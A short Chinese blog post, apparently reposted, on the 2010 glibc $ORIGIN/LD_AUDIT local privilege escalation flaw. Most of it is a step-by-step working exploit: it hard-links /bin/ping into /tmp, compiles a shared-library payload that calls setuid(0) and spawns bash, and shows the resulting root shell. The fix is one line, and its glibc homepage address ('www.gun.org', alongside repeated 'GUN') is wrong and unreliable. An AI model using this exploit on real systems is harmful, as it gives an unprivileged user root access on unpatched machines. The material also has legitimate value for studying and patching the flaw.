GUN glibc动态连接器$ORIGIN本地权限提升漏洞
一、影响范围
发布日期:2010-10-18
更新日期:2010-10-20
受影响系统:
GNU glibc 2.5
GNU glibc 2.12.1
注:该漏洞发布有一年多的时间了,不过真正修复的机器估计很少。受影响的范围也很广,只有有使用GUN glibc的类linux系统都会中招。
二、攻击方法
1# 在/tmp下创建可控制的目录
2$ mkdir /tmp/exploit
3# 链接到suid二进制程序以更改$ORIGIN的定义
4$ ln /bin/ping /tmp/exploit/target
5# 打开到目标二进制程序的文件描述符
6$ exec 3< /tmp/exploit/target
7# 现在可通过/proc访问描述符
8$ ls -l /proc/$$/fd/3
9lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
10# 删除之前所创建的目录
11$ rm -rf /tmp/exploit/
12# /proc链接仍存在,但已标记为已被删除
13$ ls -l /proc/$$/fd/3
14lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
15# 使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标
16$ cat > payload.c
17void __attribute__((constructor)) init()
18{
19 setuid(0);
20 system("/bin/bash");
21}
22^D
23$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
24$ ls -l /tmp/exploit
25-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
26# 通过LD_AUDIT强制/proc中的链接加载$ORIGIN
27$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
28sh-4.1# whoami
29root
30sh-4.1# id
31uid=0(root) gid=500(taviso)
修复方法:升级glibc包。glibc官方主页:www.gun.org
捐赠本站(Donate)
如您感觉文章有用,可扫码捐赠本站!(If the article useful, you can scan the QR code to donate))
- Author: shisekong
- Link: https://blog.361way.com/glibc-holes/1531.html
- License: This work is under a 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议. Kindly fulfill the requirements of the aforementioned License when adapting or creating a derivative of this work.